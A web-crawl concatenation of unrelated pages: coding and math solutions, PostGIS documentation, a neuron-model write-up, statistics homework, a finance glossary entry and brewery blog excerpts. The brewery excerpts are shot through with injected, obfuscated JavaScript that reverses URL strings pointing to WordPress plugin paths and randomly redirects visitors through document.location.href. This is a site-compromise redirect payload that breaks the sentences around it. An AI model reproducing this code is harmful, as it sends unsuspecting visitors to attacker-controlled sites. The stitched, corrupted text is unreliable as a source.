Explanation: We pay 70 to 0-th worker and 35 to 2-th worker.
```
Example 2:
```Input: quality = [3,1,10,10,1], wage = [4,8,2,2,7], K = 3
Output: 30.66667
Explanation: We pay 4 to 0-th worker, 13.33333 to 2-th and 3-th workers seperately.
```
Note:
1. `1 <= K <= N <= 10000`, where `N = quality.length = wage.length`
2. `1 <= quality[i] <= 10000`
3. `1 <= wage[i] <= 10000`
4. Answers within `10^-5` of the correct answer will be considered correct.
857. Minimum Cost to Hire K Workers
``````struct Solution;
use std::collections::BinaryHeap;
impl Solution {
fn mincost_to_hire_workers(quality: Vec<i32>, wage: Vec<i32>, k: i32) -> f64 {
let k = k as usize;
let n = quality.len();
let mut workers: Vec<usize> = (0..n).collect();
let rate: Vec<f64> = (0..n).map(|i| wage[i] as f64 / quality[i] as f64).collect();
workers.sort_by(|&i, &j| rate[i].partial_cmp(&rate[j]).unwrap());
let mut res = std::f64::MAX;
let mut queue: BinaryHeap<i32> = BinaryHeap::new();
let mut sum = 0;
for i in workers {
let r = rate[i];
let q = quality[i];
queue.push(q);
sum += q;
if queue.len() > k {
sum -= queue.pop().unwrap();
}
if queue.len() == k {
res = res.min(r * sum as f64);
}
}
res
}
}
#[test]
fn test() {
use assert_approx_eq::assert_approx_eq;
let quality = vec![10, 20, 5];
let wage = vec![70, 50, 30];
let k = 2;
let res = 105.00000;
assert_approx_eq!(Solution::mincost_to_hire_workers(quality, wage, k), res);
let quality = vec![3, 1, 10, 10, 1];
let wage = vec![4, 8, 2, 2, 7];
let k = 3;
let res = 30.666667;
assert_approx_eq!(Solution::mincost_to_hire_workers(quality, wage, k), res);
}
`````` | 736 | 2,280 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.984375 | 4 | CC-MAIN-2022-49 | latest | en | 0.819461 |
https://www.hackmath.net/en/example/6978?tag_id=124,50 | 1,547,752,657,000,000,000 | text/html | crawl-data/CC-MAIN-2019-04/segments/1547583659063.33/warc/CC-MAIN-20190117184304-20190117210304-00465.warc.gz | 809,503,613 | 6,497 | # The position
The position of a body at any time T is given by the displacement function S=t3-2t2-4t-8. Find its acceleration at each instant time when the velocity is zero.
Result
a = 8
#### Solution:
Checkout calculation with our calculator of quadratic equations.
Leave us a comment of example and its solution (i.e. if it is still somewhat unclear...):
Be the first to comment!
#### To solve this example are needed these knowledge from mathematics:
Do you want to convert length units?
## Next similar examples:
1. Cube in a sphere
The cube is inscribed in a sphere with volume 4114 cm3. Determine the length of the edges of a cube.
2. TV transmitter
The volume of water in the rectangular swimming pool is 6998.4 hectoliters. The promotional leaflet states that if we wanted all the pool water to flow into a regular quadrangle with a base edge equal to the average depth of the pool, the prism would have.
3. Cuboid
Cuboid with edge a=16 cm and body diagonal u=45 cm has volume V=11840 cm3. Calculate the length of the other edges.
4. Transforming cuboid
Cuboid with dimensions 8 cm, 13 and 16 cm is converted into a cube with the same volume. What is its edge length?
5. Two trains
Through the bridge, long l = 240m, the train passes through the constant speed at time t1 = 21s. A train running along the traffic lights at the edge of the bridge passes the same speed at t2 = 9s. a) What speed v did the train go? b) How long did it tak
6. Clock
How many times a day hands on a clock overlap?
7. Gimli Glider
Aircraft Boeing 767 lose both engines at 44000 feet. The plane captain maintain optimum gliding conditions. Every minute, lose 2000 feet and maintain constant speed 196 knots. Calculate how long takes to plane from engines failure to hit ground. Calculate
8. Two cars
Two cars started against each other at the same time to journey long 293 km. First car went 41 km/h and second 41 km/h. What distance will be between this cars 20 minutes before meet?
9. A car
A car weighing 1.05 tonnes driving at the maximum allowed speed in the village (50 km/h) hit a solid concrete bulkhead. Calculate height it would have to fall on the concrete surface to make the impact intensity the same as in the first case!
10. Water current speed.
Two cities along the river are 100 km apart. The powerboat downstream runs for 4 hours, upstream for 10 hours. Determines the river's current speed.
11. River
Calculate how many promiles river Dunaj average falls, if on section long 957 km flowing water from 1454 m AMSL to 101 m AMSL.
12. River
From the observatory 14 m high and 32 m from the river bank, river width appears in the visual angle φ = 20°. Calculate width of the river.
13. Observer
The observer sees straight fence 100 m long in 30° view angle. From one end of the fence is 153 m. How far is it from the another end of the fence?
14. Eiffel Tower
Eiffel Tower in Paris is 300 meters high, is made of steel. Its weight is 8000 tons. How tall is the tower model made of the same material, if it weigh is 2.4 kg?
15. Forces
In point O acts three orthogonal forces: F1 = 20 N, F2 = 7 N and F3 = 19 N. Determine the resultant of F and the angles between F and forces F1, F2 and F3.
16. Rectangle
The rectangle is 11 cm long and 45 cm wide. Determine the radius of the circle circumscribing rectangle.
17. Circle arc
Circle segment has a circumference of 72.95 cm and 1386.14 cm2 area. Calculate the radius of the circle and size of central angle. | 883 | 3,469 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.765625 | 4 | CC-MAIN-2019-04 | longest | en | 0.907243 |
https://access.crunchydata.com/documentation/postgis/3.0.8/ST_Envelope.html | 1,718,480,377,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861606.63/warc/CC-MAIN-20240615190624-20240615220624-00690.warc.gz | 68,053,510 | 4,172 | ST_Envelope
Name
ST_Envelope — Returns a geometry representing the bounding box of a geometry.
Synopsis
``` geometry ST_Envelope ( ``` geometry g1 ``` ) ``` ;
Description
Returns the double-precision (float8) minimum bounding box for the supplied geometry, as a geometry. The polygon is defined by the corner points of the bounding box (( ``` MINX ``` , ``` MINY ``` ), ( ``` MINX ``` , ``` MAXY ``` ), ( ``` MAXX ``` , ``` MAXY ``` ), ( ``` MAXX ``` , ``` MINY ``` ), ( ``` MINX ``` , ``` MINY ``` )). (PostGIS will add a ``` ZMIN ``` / ``` ZMAX ``` coordinate as well).
Degenerate cases (vertical lines, points) will return a geometry of lower dimension than ``` POLYGON ``` , ie. ``` POINT ``` or ``` LINESTRING ``` .
Availability: 1.5.0 behavior changed to output double precision instead of float4
This method implements the OpenGIS Simple Features Implementation Specification for SQL 1.1. s2.1.1.1
This method implements the SQL/MM specification. SQL-MM 3: 5.1.15
Examples
```SELECT ST_AsText(ST_Envelope('POINT(1 3)'::geometry));
st_astext
------------
POINT(1 3)
(1 row)
SELECT ST_AsText(ST_Envelope('LINESTRING(0 0, 1 3)'::geometry));
st_astext
--------------------------------
POLYGON((0 0,0 3,1 3,1 0,0 0))
(1 row)
SELECT ST_AsText(ST_Envelope('POLYGON((0 0, 0 1, 1.0000001 1, 1.0000001 0, 0 0))'::geometry));
st_astext
--------------------------------------------------------------
POLYGON((0 0,0 1,1.00000011920929 1,1.00000011920929 0,0 0))
(1 row)
SELECT ST_AsText(ST_Envelope('POLYGON((0 0, 0 1, 1.0000000001 1, 1.0000000001 0, 0 0))'::geometry));
st_astext
--------------------------------------------------------------
POLYGON((0 0,0 1,1.00000011920929 1,1.00000011920929 0,0 0))
(1 row)
SELECT Box3D(geom), Box2D(geom), ST_AsText(ST_Envelope(geom)) As envelopewkt
FROM (SELECT 'POLYGON((0 0, 0 1000012333334.34545678, 1.0000001 1, 1.0000001 0, 0 0))'::geometry As geom) As foo;
```
Envelope of a point and linestring.
```SELECT ST_AsText(ST_Envelope(
ST_Collect(
ST_GeomFromText('LINESTRING(55 75,125 150)'),
ST_Point(20, 80))
)) As wktenv;
wktenv
-----------
POLYGON((20 75,20 150,125 150,125 75,20 75))``` | 690 | 2,145 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.65625 | 3 | CC-MAIN-2024-26 | latest | en | 0.51507 |
https://microeducate.tech/how-to-get-all-consecutive-subsets-of-a-vector/ | 1,675,039,918,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764499790.41/warc/CC-MAIN-20230130003215-20230130033215-00357.warc.gz | 419,287,511 | 17,274 | # How to get all consecutive subsets of a vector?
If I want to get all subsets of a vector I can e.g. use the `sets` package:
``````library(sets)
v <- c("test1", "test2", "test3", "test4")
set_power(v)
## {{}, {"test1"}, {"test2"}, {"test3"}, {"test4"}, {"test1",
## "test2"}, {"test1", "test3"}, {"test1", "test4"}, {"test2",
## "test3"}, {"test2", "test4"}, {"test3", "test4"}, {"test1",
## "test2", "test3"}, {"test1", "test2", "test4"}, {"test1",
## "test3", "test4"}, {"test2", "test3", "test4"}, {"test1",
## "test2", "test3", "test4"}}
``````
My question
How do I get only all subsets, where all the elements are consecutive, so in the above case without `{"test1", "test3"}, {"test1", "test4"}, {"test2", "test4"}, {"test1", "test2", "test4"}, {"test1", "test3", "test4"}`
Try `rollapply` like this:
``````library(zoo)
v <- c("test1", "test2", "test3", "test4")
L <- lapply(seq_along(v), rollapply, data = v, c)
L[[1]] <- matrix(L[[1]])
``````
giving `length(v)` components, one for each subset size:
``````[[1]]
[,1]
[1,] "test1"
[2,] "test2"
[3,] "test3"
[4,] "test4"
[[2]]
[,1] [,2]
[1,] "test1" "test2"
[2,] "test2" "test3"
[3,] "test3" "test4"
[[3]]
[,1] [,2] [,3]
[1,] "test1" "test2" "test3"
[2,] "test2" "test3" "test4"
[[4]]
[,1] [,2] [,3] [,4]
[1,] "test1" "test2" "test3" "test4"
``````
or as a flat list with one component per subset:
``````flat <- do.call("c", lapply(L, function(x) split(x, 1:nrow(x))))
``````
giving:
``````> str(flat)
List of 10
\$ 1: chr "test1"
\$ 2: chr "test2"
\$ 3: chr "test3"
\$ 4: chr "test4"
\$ 1: chr [1:2] "test1" "test2"
\$ 2: chr [1:2] "test2" "test3"
\$ 3: chr [1:2] "test3" "test4"
\$ 1: chr [1:3] "test1" "test2" "test3"
\$ 2: chr [1:3] "test2" "test3" "test4"
\$ 1: chr [1:4] "test1" "test2" "test3" "test4"
`````` | 759 | 1,810 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.765625 | 3 | CC-MAIN-2023-06 | latest | en | 0.480503 |
http://people.ece.cornell.edu/land/courses/eceprojectsland/STUDENTPROJ/1999to2000/mlk24KATZ/model.html | 1,513,218,188,000,000,000 | text/html | crawl-data/CC-MAIN-2017-51/segments/1512948537139.36/warc/CC-MAIN-20171214020144-20171214040144-00493.warc.gz | 223,277,985 | 2,676 | The bible for my project has been Neural and Brain Modeling (1987) by Ronald MacGregor. His book contains mathematical formulas and FORTRAN code describing various neuronal behavior. My neuron program is based upon his Point Neuron 10, which is a simplified integrate-and-fire neuron model using only four state variables (potassium conductance, membrane voltage, threshold, and a binary action potential spike). This is a simplified version of Hodgkin and Huxley's equations, and is a good enough estimate of neural behavior, especially because the error is negligible compared to the roundoff error from using only 16-bit fixed point values. It should be noticed that real neurons do not exhbit even having 16-bit accuracy themselves.
The small, compact equations are desirable because they are easy to implement in assembly and fit within the 1200's constraints (especially having no RAM and only 32 register spaces, which are not all available because of the need for double-precision fixed point).
The model measures an incoming current, which can be weighted to be either inhibitory or excitatory, and applies that to recalculate "real-time" new values for Gk, Vm, and Threshold by numerical integration. The threshold is then compared to the membrane potential (Vm) and a spike (either a high or low voltage on the output port pins) is generated if the potential exceeds the threshold voltage. These equations which are for a single neuron with a passive RC membrane time constant, a sodium all-or-nothing channel response, and an active potassium channel.
The equations used for this model are given as follows:
These equations were then put into a numerical integration scheme using a loop going from t=0 until some end time with some step. The actual assembly program I wrote has no end time and the step time is 1ms.
MacGregor turned the above equations into a FORTRAN program. My project sponsor, Bruce Land, translated that program into matlab code, which I have been using to test the different parameters (Tmem, ampGK, TGK, initThreshold, etc.) to test and debug the neuron code and get it to have certain output properties. The code is given in point.m.
Output of the point.m program, showing change in Vm, GK, Threshold, and the Action Potential output.
Once the single neuron code was "perfected," the next question asked was "what happens if the spike output was fed back into the cell as a depolarizing (positive feedback) current?" We went back to matlab and wrote posi.m, which models this neural model with the current at the next time step equal to the spike output times a weight. This models a single-cell bursting neuron.
Output of posi.m showing a bursting output pattern.
The next logical step after creating a positive feedback bursting neuron was to combine several neurons together in a cyclically inhibitory network. So a third matlab program was created that (three.m) simulates three neurons connected in a ring with the output of one acting as a hyperpolarizing current on the next one. The result of this was a burst pattern that travels down the line. This data matches the actual circuit results that I built on a prototype board. Five neurons exhibit similar behavior, except that there are two spikes on the line at the same time. This cyclical bursting patter is commonly seen in motor functions
Output of three.m, showing a three-cell cyclically inhibitory network. | 697 | 3,418 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2017-51 | latest | en | 0.916542 |
https://lexique.netmath.ca/en/contraposition/ | 1,718,825,032,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861832.94/warc/CC-MAIN-20240619185738-20240619215738-00836.warc.gz | 321,578,590 | 13,921 | # Contraposition
## Contraposition
In Boolean logic, a proposition equivalent to a conditional P → Q and defined by the conditional ¬Q →¬P.
### Examples
In logic, the contraposition is a type of reasoning that consists of affirming the implication “if not B then not A” from the implication “if A then B”. The implication “if not B then not A” is called the contraposition of “if A then B”.
For example, the contraposition to the proposition “if it rains, then the ground will be wet” is “if the ground is not wet, then it is not raining“.
For example, the contraposition of the proposition “if n is a multiple of 9, then n is not a prime number” is “if n is a prime number, then n is not a multiple of 9“. | 182 | 712 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.046875 | 3 | CC-MAIN-2024-26 | latest | en | 0.878975 |
https://www3.cs.stonybrook.edu/~liu/cse675/S07.html | 1,560,641,101,000,000,000 | text/html | crawl-data/CC-MAIN-2019-26/segments/1560627997501.61/warc/CC-MAIN-20190615222657-20190616004657-00179.warc.gz | 964,707,593 | 1,223 | SB CSE 675Fall 2000 Program Transformation and Program Analysis Annie Liu Solution 7 Handout S7 Nov. 8, 2000
Problem 1.
a. sequence from greedy: 100000111101, number of color changes: 4
b. better sequence: 001110000111, number of color changes: 3
Problem 2.
a.
```list* cons(int a, list* b) {
list* cell = (list *)malloc(sizeof(list));
cell->car = a;
cell->cdr = b;
return cell;
}
int least(list* x) {
list* xdot = x;
list* s = NULL;
int r;
while (1) {
if (xdot->cdr == NULL) {
r = xdot->car;
break;
} else {
s = cons(xdot,s);
xdot = xdot->cdr;
}
}
while (xdot != x) {
xdot = s->car;
s = s->cdr;
r = (xdot->car < r) ? xdot->car : r;
}
return r;
}
b.
int least(list* x) {
list* xdot = x;
list* s = NULL;
int r;
while (1) {
if (xdot->cdr == NULL) {
r = xdot->car;
break;
} else {
list* tmp = xdot->cdr;
xdot->cdr = s;
s = xdot;
xdot = tmp;
}
}
while (xdot != x) {
list* tmp = s->cdr;
s->cdr = xdot;
xdot = s;
s = tmp;
r = (xdot->car < r) ? xdot->car : r;
}
return r;
}
``` | 368 | 979 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.078125 | 3 | CC-MAIN-2019-26 | latest | en | 0.458195 |
http://betterlesson.com/lesson/reflection/5376/reflection | 1,488,006,272,000,000,000 | text/html | crawl-data/CC-MAIN-2017-09/segments/1487501171670.52/warc/CC-MAIN-20170219104611-00621-ip-10-171-10-108.ec2.internal.warc.gz | 28,025,839 | 23,611 | ## Reflection: Checks for Understanding Rounding to Check Addition - Section 3: Student Practice
During the student practice time, I was continually checking for student understanding. The majority of students were able to successfully meet today's goal. Here is a Proficient Student Sample. I loved how neatly this student lined up digits when adding multiple addends on the last couple of problems.
Also, this conversation alone was so wonderful to witness: Estimating 52098 + 6048. More importantly than successfully completing the task is knowing how the strategy will be useful in the future!
Checks for Understanding: Reflection
# Rounding to Check Addition
Unit 5: Adding & Subtracting Large Numbers
Lesson 1 of 16
## Big Idea: Students will practice rounding both addends to find the estimated sum and both the subtrahend and the minuend to find the estimated difference.
Print Lesson
2 teachers like this lesson
Standards:
Subject(s):
105 minutes
### Kara Nelson
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Environment: Urban | 422 | 1,966 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.84375 | 4 | CC-MAIN-2017-09 | latest | en | 0.881387 |
https://dhan.co/finance-glossary/fair-value/ | 1,720,945,246,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514551.8/warc/CC-MAIN-20240714063458-20240714093458-00291.warc.gz | 173,653,073 | 31,600 | # Fair Value
## Definition of Fair Value
The fair value of a stock, product, or service is the price at which the buyer and seller willingly agree on without being on the losing end of the deal. Think of fair value as a win-win situation for both parties, assuming that all conditions are normal.
Say Mr. Apple is offered to buy shares of Mr. Orange’s company at Rs. 1000 per share. Mr. Apple evaluates the business and figures out that he can sell the same shares for Rs. 1200, even though Mr. Orange is content to sell the shares at Rs. 200 lower. Both parties agree on the deal at Rs. 1000 because both view it as a good deal.
The formula for the fair value of a stock or index is:
Fair Value = Cash * { 1 + r (X / 360)} - D
Where,
Cash = Latest stock or index value
r = interest rate on purchase
x = number of days to contract expiry
Dividend = Dividends
The definition of fair value is slightly different in the futures market. In the futures market, the fair value is reached when the supply meets the demand, which simply means that the spot price is equal to the futures contractprice.
However, due to inherent volatility of the markets, the price of a futures contract is known to fluctuate around the fair value of a stock or index. Thus, in the fair value in the context of futures is what the price of the contract should be, given the value of the stock or index, dividends, and others. | 326 | 1,411 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2024-30 | latest | en | 0.947426 |
https://www.coursehero.com/file/p46j2v55/Mean-np-1509-135-g-What-is-the-standard-deviation-of-the-number-of-students-who/ | 1,603,166,269,000,000,000 | text/html | crawl-data/CC-MAIN-2020-45/segments/1603107869785.9/warc/CC-MAIN-20201020021700-20201020051700-00091.warc.gz | 674,130,783 | 354,434 | Mean np 1509 135 g What is the standard deviation of the number of students who
# Mean np 1509 135 g what is the standard deviation of
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Mean = np = 15(0.9) = 13.5 g. What is the standard deviation of the number of students who own a cell phone in simple random samples of 15 students? ඥ15(0.9)(1 − 0.9) = 1.16
8. For the following descriptions, list experimental units (or subjects), factors, levels, treatments, and response variables. 1. Veterinarians are interested in finding out which brands of dog food cause dogs to gain the most weight. Sixteen dogs younger than 5 and sixteen dogs older than 5 are selected and given either Science Diet, Pedigree, Alpo, or Purina. Factors: age brand Levels: greater than 5, less than 5; SD, Pe, A, Pu Treatments > 5 SD, > 5 Pe, > 5 A, > 5 Pu, < 5 SD, < 5 Pe, < 5 A, < 5 Pu Response variable: weight 2. A forester wants to know which of three types of tree (palm, pine, oak) does best resisting hurricane force winds. He selects 10 pieces of wood from each type of tree and subjects it to hurricane force winds. He then records the level of damage for each type of wood on a scale from 1 to 10. Factors: type of tree Levels: palm, pine, oak Treatments: palm, pine, oak Response variable: level of damage on a scale of 1 to 10 3. A corporate manager is interested in finding the best way to improve productivity. He wants to see if reading a book or not or attending a seminar or not has the most impact on productivity. He assigns the treatments to 8 branches of his company. Factors: book seminar Levels: read a book, didn’t read a book; attended seminar, didn’t attend seminar Treatments: book and seminar, book and no seminar, no book seminar, no book and no seminar Response Variable: productivity SD Pe > 5 A Pu < 5 SD Pe A Pu pine palm oak seminar book no seminar seminar no book no seminar
4. Doctors are interested in determining whether fitness level (low, average, high) and age (20’s, 30’s, 40’s, 50’s) impact time to recovery after knee surgery. 40 people of various ages and fitness levels are evaluated for time to recovery. Factors: fitness level age Levels: low average high 20 30 40 50 treatments: Lo20, Lo30, Lo40, Lo50, Av20, Av30, Av40, Av50, Hi20, Hi30, Hi40, Hi50 response variable: time to recovery 9. Read the following descriptions, and tell what source of bias(es) each represents (undercoverage, non-response, response bias, or poor wording of questions). 1. A mail survey is conducted to determine what percentage of Americans are vegetarian or vegan. 15% of households respond. Non-response 2. We would like to have an estimate of the percentage of people that participate in illegal drugs. We call 3,500 households. In the study, no one says that they do illegal drugs. Response bias 3. How many Americans are supportive of welfare programs? To find the answer, we will ask “Given the failure of welfare in the US, do you feel welfare programs should be eliminated?” poor wording in a question How can this question be reworded so as not to cause bias? Should the welfare program be continued or eliminated?
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• Kyung | 854 | 3,318 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.640625 | 4 | CC-MAIN-2020-45 | latest | en | 0.89083 |
http://www.cara-online.com/blog/tag/fermentation/ | 1,719,288,978,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198865560.33/warc/CC-MAIN-20240625041023-20240625071023-00350.warc.gz | 34,210,815 | 19,749 | Systematic problem solving in the brewery
Problems are an everyday fact of life in breweries. Some demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and urgent action toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay =… Read more
An A – Z of beer flavour – Acetaldehyde
Acetaldehyde is an important beer flavour character. In this article we outline why it is important, how it is formed, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and what has toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout(\$zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout(\$NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout(\$zXz(0), delay);}to be toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}done in the brewery toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout(\$zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout(\$NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout(\$zXz(0), delay);}to control it.
Zinc supplementation of wheat beer fermentations
